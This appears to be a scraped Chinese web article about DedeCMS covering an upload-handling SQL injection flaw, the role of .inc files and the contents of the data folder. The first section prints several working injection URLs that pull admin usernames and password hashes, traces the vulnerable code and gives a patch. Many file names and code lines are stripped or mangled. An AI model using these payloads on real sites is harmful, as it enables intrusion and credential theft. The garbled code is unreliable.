「织梦inc文件是什么」织梦中data文件夹是存放什么内容的

织梦.inc文件是什么,包含文件必须使用文件后缀inc

内容导航:

  • 织梦dedecms上传漏洞uploadsafeincphp 整理
  • inc文件是什么文件
  • 织梦 有什么用
  • 织梦中data文件夹是存放什么内容的
  • 一、织梦dedecms上传漏洞uploadsafeincphp 整理

    自从买了阿里云的ecs 之后每次出现漏洞阿里云盾就会通知,前段时间部署的项目检测出上传漏洞

    根据网上大神们的博客整理了下,下面这个是可行的

    dedecms上传漏洞,这里整理了大神们对于这个漏洞的解释

    1. 漏洞描述

    1. dedecms原生提供一个本地变量注册的模拟实现,原则上允许黑客覆盖任意变量2. dedecms在实现本地变量注册的时候,会对$_GET、$_POST、$_COOKIE等的value值进行addslash转移过滤处理//$key值注入不在本文讨论范围内,详情参阅:.html3. 在处理文件上传的逻辑中,存在一条攻击路径,程序自己反处理了addslash逻辑,使用于闭合的单引号重新获得攻击效果,造成SQL注入
    

    Relevant Link:

    /archives/1346
    

    2. 漏洞触发条件

    0x1: POC1

    plus/?action=&aid;=1&_FILES[type][tmp_name]=%27%20or%20mid=@`%27`%20/*!union*//*!select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`%27`+&_FILES[type][name]=&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294?action=&aid;=1&_FILES[type][tmp_name]=%27%20or%20mid=@`%27`%20/*!union*//*!select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`%27`+&_FILES[type][name]=&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294
    

    0x2: POC2

    http://DEDD/plus/?action=&aid;=1&_FILES[type][tmp_name]='  or mid=@`'` /*!union*//*!select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`'`+&_FILES[type][name]=&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6873
    

    0x3: POC3

    http://DEDE/plus/?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa'and+char(@`'`)+/*!Union*/+/*!SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23
    

    0x4: POC入侵方式

    1. 原始数据%27%20or%20mid=@`%27`%20/*!union*//*!select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`%27`+提交进来后, 和 ’ 分别被转义成  和 ’' or mid=@`'`/*!union*//*!select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`dede_admin` limit 0,1),5,6,7,8,9#@`'`被带入include/中检查,此步数据未发生变化4.然后来到了include/中,经过第行str_replace后,被过滤成了,用于攻击闭合的单引号重新获得攻击能力$$_key = $_FILES[$_key]['tmp_name'] =str_replace(\, , $_FILES[$_key]['tmp_name']);' or mid=@`'`/*!union*//*!select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`dede_admin` limit 0,1),5,6,7,8,9#@`'`此时引号被成功的带入了查询语句中5.回到plus/中,第38行,此时SQL语句被拼成如下:SELECT s.*,t.* FROM `#@_member_stow` AS sLEFT JOIN `dede_member_stowtype` AS t ON = WHERE ='1' ='' or mid=@`'` /*!union*//*!select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),5,6,7,8,9#@`'` '
    

    Relevant Link:

    .html/archives/1346/blog/view/id/17
    

    3. 漏洞影响范围

    4. 漏洞代码分析

    从/plus/开始逐步分析

    require_once(dirname(__FILE__)./../include/);..
    

    /include/

    ..function _RunMagicQuotes(&$svar){  if(!get_magic_quotes_gpc())  {    if( is_array($svar) )    {      foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);    }    else    {      if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )      {        exit('Request var not allow!');      }      $svar = addslashes($svar);    }  }  return $svar;}..
    

    只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE,即可通过检查,_FILES[type][tmp_name]被带入引发漏洞的入口点在/include/

    ..//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数if($_FILES){    require_once(DEDEINC.'/');}..
    

    /include/

    ..//URL参数中的_FILES[type][tmp_name],$_key为type,$$_key即为$type,从而导致了$type变量的覆盖$$_key = $_FILES[$_key]['tmp_name'] = str_replace(\,,$_FILES[$_key]['tmp_name']);${$_key.'_name'} = $_FILES[$_key]['name'];${$_key.'_type'} = $_FILES[$_key]['type'] = eregi_replace('[^0-9a-z./]','',$_FILES[$_key]['type']);${$_key.'_size'} = $_FILES[$_key]['size'] = ereg_replace('[^0-9]','',$_FILES[$_key]['size']);..
    

    /plus/

    //读取文档信息if($action==''){  if($type=='sys'){  //读取文档信息    $arcRow = GetOneArchive($aid);    if($arcRow['aid']=='')     {      ShowMsg(无法把未知文档推荐给好友!,-1);      exit();    }    extract($arcRow, EXTR_OVERWRITE);  }   else   {    //注入语句被带入数据库查询,    $arcRow=$dsql->GetOne(SELECT s.*,t.* FROM `dede_member_stow` AS s LEFT JOIN `dede_member_stowtype` AS t ON = WHERE ='$aid' AND ='$type');    if(!is_array($arcRow)){      ShowMsg(无法把未知文档推荐给好友!,-1);      exit();    }    $arcRow['arcurl']=$arcRow['indexurl'].=.$arcRow['aid'];    extract($arcRow, EXTR_OVERWRITE);  }}
    

    5. 防御方法

    /include/

    /*  *///$$_key = $_FILES[$_key]['tmp_name'] = str_replace(\,,$_FILES[$_key]['tmp_name']);$$_key = $_FILES[$_key]['tmp_name'];/* */${$_key.'_name'} = $_FILES[$_key]['name'];${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);if(!empty(${$_key.'_name'}) && (preg_match(#.(.$cfg_not_allowall.)$#i,${$_key.'_name'}) || !preg_match(#.#, ${$_key.'_name'})) ){  if(!defined('DEDEADMIN'))  {    exit('Not Admin Upload filetype not allow !');  }}if(empty(${$_key.'_size'})){  ${$_key.'_size'} = @filesize($$_key);}/* 限制上传文件类型 */$imtypes = array(image/pjpeg, image/jpeg, image/gif, image/png, image/xpng, image/wbmp, image/bmp);if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)){  $image_dd = @getimagesize($$_key);  if (!is_array($image_dd))  {    exit('Upload filetype not allow !');  }}/* */
    

    文件/include/。

    有2个地方:

    1、搜索 ${$_key.’_size’} = @filesize($$_key); }(大概在42,43行左右)

    替换成

    ${$_key.’_size’} = @filesize($$_key);

    } $imtypes = array(image/pjpeg, image/jpeg, image/gif, image/png, image/xpng,
    image/wbmp, image/bmp); if(in_array(strtolower(trim(${$_key.’_type’})),
    $imtypes)) { $image_dd = @getimagesize($$_key); if($image_dd == false){
    continue; } if (!is_array($image_dd)) { exit(‘Upload filetype not allow !’); }
    }

    2、搜索 $image_dd = @getimagesize($$_key);(大概在53行左右)

    替换成

    $image_dd = @getimagesize($$_key); if($image_dd == false){ continue; }
    老规矩大红色地方标记了修改的地方,然后保存,接着备份原文件,比如文件名变为。然后上传修改好的文件即可。

    二、inc文件是什么文件

    关于inc文件——————————————————【what’s inc
    file】.inc 文件顾名思义是include
    file的意思。实际上,文件的后缀对于文件包含是无所谓你可以包含一个asp文件,也可以包含txt文。一般我们使用inc作为后缀,是因为这样能体现该文件的作用。【why
    inc file】.inc文件的作用有点类似于C/C++内的.H .HPP头文件,使用inc文件可以使我们的程序,增加可读性,更易于开发和维护。【how
    to inc file】使用SSI(Server Side
    Include)指令中的#Includeasp包含文件的写法是这样的:在html中,写:file和Virtual的区别在于file使用相对路径而Virtual是你的web站点内虚拟目录的完整虚拟路径比方:就表示包含当前文件所在的虚拟目录路径下面的inc目录下的写成
    virtual就可能就需要这么写了

    三、织梦 有什么用

    1:/data/ 数据库连接文件。
    2:/include/ 系统核心文件。

    建议你用模板建站系统做网站,完全可以自己动手制作网站。
    有100多套网站模板可以选择,操作上和word差不多,管理和维护很方便,有学习视频,一般看半天就会做了。
    速成网站-国际版(5g网页空间,不限流量,不需要备案,可做展示类、交易类网站,可免费试用):160元/年。
    可以找咱们,现在在线。

    四、织梦中data文件夹是存放什么内容的

    dede(织梦)的data文件夹下的文件及文件夹也不少,我们来一个一个的介绍下。

    1. admin文件夹
    admin文件夹 管理员用到的文件夹,一般是后台的配置文件。
    第一个文件, 配置的主机信息,一般用不到,不用管理。
    第二个文件, 和, 都是快捷菜单。
    打开这两个文件不难发现,-1的文件多了”栏目管理”和”修改参数”,这两个是需要权限的,
    所以这个是高级管理员的快捷菜单,是 信息发布员的快捷菜单,这个自己测试。
    这个文件的信息在后台加载时出现在中间的”快捷操作”和右上角出现。

    我们修改这个是管理员的,权限比较多,所设置这个有用。

    我们模仿一个需要修改link 和title后台就出现了一个快捷链接,一键更新网站,就出来了,看上面的图,具体的自己发挥吧
    第四个文件,和资源和作者,就是后台编辑文章的
    文章来源, 作者,点击选择的时候,出现的就是文档的信息,我们可以编辑这两个文件,也可以后台编辑,
    不过,我们编辑过后的文档,以后可以直接初始化,做一套属于我们的织梦程序。

    第六个文件, 和 文件是系统文件时间,系统版本时间。
    2. backupdata文件夹
    备份数据库的文件夹,比较重要,还原网站的时候,要么有 mysql的 myd等数据库文件,要么就是这些txt文档了。
    3. cache文件夹
    cache 缓存文件夹,没有可编辑行,inc_remote_ 是配置后台的系统—>服务器分布/远程。
    4. enums文件夹
    枚举文件夹,好多数组都是,都是通过这个文件夹来完成的,例如:后台的“联动类别“里面的文件都是枚举值。
    5. mark文件夹
    水印文件夹,和为水印图片,可以修改为自己想要的。
    inc_photowatermark_ 水印配置文件,后台设置的都会写入到此文件内。
    其他文件夹基本都是系统文件,没有多大修改的必要,我们来看文件。
    1. 文件 链接数据库的配置文件。
    $cfg_dbhost = ‘localhost’;//数据库地址
    $cfg_dbname = ‘dedecmsv56gbk’;//数据库名称
    $cfg_dbuser = ‘root’;//数据库用户名
    $cfg_dbpwd = ”;//数据库密码
    $cfg_dbprefix = ‘bushen_’;//数据库表前缀
    $cfg_db_language = ‘gbk’;//数据库编码

    2. 文件
    网站系统的配置信息缓存文件。

    3. 文件 和文件
    网站系统的配置信息文件 和 网站系统关联文件信息

    4. 文件 安全问题信息
    5. 文件 文章随机模版配置信息
    6. mysql_error_***.inc文件 程序调用mysql出现的错误信息。

    版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,请发送邮件至 55@qq.com 举报,一经查实,本站将立刻删除。转转请注明出处:https://www.szhjjp.com/n/128565.html

    (0)
    robot
    上一篇 2022-08-16
    下一篇 2022-08-16

    相关推荐

    • 如何了解百度竞价调价技巧(百度竞价出价策略用好还是不用好)

      如何了解百度竞价调价技巧,百度竞价出价策略用好还是不用好内容导航:如何了解百度竞价调价技巧百度竞价调价技巧有哪些百度推广助手topsem关键词调价优化技巧百度推广怎么优化竞价账户用军蚂蚁软件调价吗一、如何了解百度竞价调价技巧学习百度的所有资料!还有就是实际操作!这些东西!花着花

      2022-05-13
      0
    • 网站二级目录是什么(二级域名和二级目录)

      网站二级目录是什么,二级域名和二级目录内容导航:网站的二级目录如何建立二级域名和二级目录哪个更好排名哪个权重高一级目录二级目录是什么意思网站一级目录二级目录是什么意思一、网站的二级目录如何建立是创建一个新二级目录还是设置二级目录。二级目录TKD设置方法:网站二级目录的title相当于网站首页title的延伸,要知道

      2022-05-08
      0
    • Python中怎么插入一个新的元素

      在Python中,可以使用列表的append()方法将一个新的元素添加到列表的末尾,例如:my_list = [1, 2, 3, 4, 5]my_list.append(6)print(my_list)输出结果为:[1, 2, 3, 4, 5, 6]如果要在指定位置插入一个新的元素,可以使用列表的insert()方法,指定要插入的位置和要插入的元素,例如:my_list = [1, 2,

      2024-04-23
      0
    • 怎么封装axios请求接口

      要封装axios请求接口,可以按照以下步骤进行操作:安装axios:使用npm或yarn安装axios库,可以在命令行中执行以下命令:npm install axios或者yarn add axios创建一个api.js文件:在项目的src目录下创建一个名为api.js的文件,并在文件中引入axios库:import axios from 'axios';// 创建axios

      2024-01-14
      0
    • 如何添加子域名(域名怎么添加子域名)

      如何添加子域名,域名怎么添加子域名内容导航:网站的子域名怎么添加怎样在域名中添加子域名什么是子域名、二级域名、次级域名怎么添加二级域名一、网站的子域名怎么添加登录万网,选择你的域名,选择域名解决,下面有一项叫做解析设置添加你的子域名就可以了。二、怎样在域名中添加子域

      2022-04-24
      0
    • Nginx正则表达式在HTTP/2优化中怎么应用

      在Nginx中,正则表达式可以应用在HTTP/2优化中的一些方面,例如可以通过正则表达式来匹配特定的URL或者域名,然后对其进行特定的处理或者优化。以下是一些常见的使用场景:通过正则表达式将HTTP/2协议应用到指定的URL或者域名上,以提升性能和加密安全性。使用正则表达式来匹配特定的请求头,然后根据匹配结果对请求进行处理或者重定向。利用正则表达式来匹配特定的User-Agent字符串,然后对

      2024-04-30
      0